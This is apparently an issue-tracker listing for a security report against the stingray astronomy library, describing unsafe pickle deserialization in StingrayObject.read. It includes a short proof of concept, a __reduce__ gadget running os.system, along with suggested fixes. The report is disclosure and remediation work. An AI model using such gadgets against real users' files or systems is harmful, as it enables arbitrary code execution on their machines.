stingray: arbitrary code execution reading a pickle-format data product (read fmt=pickle) (CWE-502)
Maintainers usually reply within 3 days
@yash-8923 is already working on this.
Since Nov 24, 2026.
Assessment
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 55/100
Research direction
Start in stingray/base.py at StingrayObject.read, where fmt == "pickle" calls pickle.load; trace how EventList, Lightcurve, Powerspectrum, and StingrayTimeseries inherit it. Read the existing read/write tests to see how pickle round-trips are covered, then reproduce with the PoC. Done when the gadget no longer executes, legitimate stingray pickle products still load, and a regression test covers both.
Written by the indexing model from the issue text.
Description
Summary
Loading a stingray data product saved in the pickle format runs arbitrary code as the user. StingrayObject.read(fmt="pickle") deserializes the file with a stock pickle.load. Local file, one read, full code execution.
Details
In stingray/base.py, StingrayObject.read dispatches on fmt and for pickle does:
elif fmt.lower() == "pickle":
with open(filename, "rb") as fobj:
return pickle.load(fobj)
a stock unpickler with no restriction. read is inherited by EventList, Lightcurve, Powerspectrum and StingrayTimeseries, and pickle is a documented value of fmt, paired with write(fmt="pickle"). A __reduce__ gadget in the file runs during the load. Present on the default branch HEAD.
Proof of concept
import pickle
class Exploit:
def __reduce__(self):
return (__import__('os').system, ('id > /tmp/stingray_poc',))
open("evil.pickle", "wb").write(pickle.dumps(Exploit()))
from stingray import EventList
EventList.read("evil.pickle", fmt="pickle")
id runs during the read. A benign pickled EventList loads without running anything. Confirmed on stingray 2.3.2, Python 3 on Linux.
Impact
stingray data products (event lists, light curves, power spectra) are saved and exchanged with write(fmt="pickle") / read(fmt="pickle"); the pickle format is documented. A user loading a shared .pickle product runs the sender's code. (The simulator's eval("models." + model_str) is a separate injection point if model_str is file-controlled.)
Suggested fix
Read the pickle with a restricted Unpickler whose find_class allow-lists only the stingray classes, or deprecate the pickle format in favor of the HDF5/FITS/ASCII paths. At minimum, document that pickle-format products must come from a trusted source.
Affected
- Package:
stingray - Affected versions:
<= 2.3.2(andmainHEAD) - Severity:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H(7.8) - Weaknesses: CWE-502
Credit
Dilanka Kaushal Hewage (r3vpwnx)
- Dominant language
- Python
- Stars
- 229
- Forks
- 196
- Avg merge
- 4d 12h
- Merged PRs (30d)
- 20
Getting set up
- No Dockerfile or Docker Compose file
- Has a pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from StingraySoftware/stingray
-
create_gti_mask drops valid points after empty GTIs and crashes with min_length > 0 and dtPossibly taken @Rohan-Dedhia claimed this 5 days ago. Open
Difficulty 4/5 3-5 days Newbie friendliness 35/100
StingraySoftware/stingray#1044 ·
Maintainers usually reply within 3 days
-
Difficulty 3/5 1-2 days Newbie friendliness 55/100
StingraySoftware/stingray#1042 · 1 comment ·
Maintainers usually reply within 3 days
-
Difficulty 4/5 3-5 days Newbie friendliness 48/100
StingraySoftware/stingray#1039 · 1 comment ·
Maintainers usually reply within 3 days
-
AveragedCrossspectrum returns zeros when using simulated light curves with input_counts=False.Possibly taken @VrtxOmega claimed this 176 days ago. Openbug help wanted
Difficulty 4/5 3-5 days Newbie friendliness 52/100
StingraySoftware/stingray#977 · 1 comment ·
Maintainers usually reply within 3 days
-
Difficulty 5/5 Over a week Newbie friendliness 32/100
StingraySoftware/stingray#925 · 13 comments · 1 reaction ·
Maintainers usually reply within 3 days
All issues in StingraySoftware/stingray
Similar issues
-
accepted
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
future-agi/future-agi#6392 ·
Maintainers usually reply within 1 day
-
memmapped_arange ignores the start value and drops the last point above the memmap thresholdPossibly taken @prathameshfuke claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
StingraySoftware/HENDRICS#213 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
Maintainers usually reply within 1 day
-
Bug
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Maintainers usually reply within 2 days
-
bot-triaged module: decompositions module: edge cases module: int overflow module: primTorch oncall: pt2 triage review
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Maintainers usually reply within 1 day